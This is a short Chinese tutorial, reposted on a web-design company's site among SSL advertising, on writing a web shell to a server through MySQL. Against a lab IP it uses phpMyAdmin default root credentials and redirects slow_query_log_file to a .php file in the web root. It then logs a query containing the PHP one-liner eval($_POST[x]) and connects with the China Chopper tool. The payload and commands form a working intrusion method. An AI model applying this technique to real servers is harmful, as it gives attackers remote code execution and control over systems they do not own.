如何利用sql语句写入shell

如何利用sql语句写入shell,相信很多没有经验的人对此束手无策,为此本文总结了问题出现的原因和解决方法,通过这篇文章希望你能解决这个问题。

海棠ssl适用于网站、小程序/APP、API接口等需要进行数据传输应用场景,ssl证书未来市场广阔!成为创新互联建站的ssl证书销售渠道,可以享受市场价格4-6折优惠!如果有意向欢迎电话联系或者加微信:028-86922220(备注:SSL证书合作)期待与您的合作!

目标ip:192.168.52.143

一、御剑扫描该地址

如何利用sql语句写入shell

获取到重要信息:

1、网站的绝对路径

如何利用sql语句写入shell

2、phpmyadmin,并且是默认账号密码:root

如何利用sql语句写入shell

解决方法:

1、设置slow_query_log=1 启用慢查询日志。

如何利用sql语句写入shell

2、修改slow_query_log_file日志文件的绝对路径以及文件名

set global slow_query_log_file='c:/phpstudy/www/xx.php'

如何利用sql语句写入shell

3、向日志文件写入一句话

select '<?php eval($_POST[x]);?>' or sleep(11)

如何利用sql语句写入shell

三、用菜刀链接

如何利用sql语句写入shell

看完上述内容,你们掌握如何利用sql语句写入shell的方法了吗?如果还想学到更多技能或想了解更多相关内容,欢迎关注创新互联行业资讯频道,感谢各位的阅读!

网页名称:如何利用sql语句写入shell
文章地址:https://www.cdcxhl.com/article18/gpssgp.html

成都网站建设公司_创新互联,为您提供品牌网站制作网站改版App设计网站建设网页设计公司外贸网站建设

广告

声明:本网站发布的内容(图片、视频和文字)以用户投稿、用户转载内容为主,如果涉及侵权请尽快告知,我们将会在第一时间删除。文章观点不代表本网站立场,如需处理请联系客服。电话:028-86922220;邮箱:631063699@qq.com。内容未经允许不得转载,或转载时需注明来源: 创新互联

绵阳服务器托管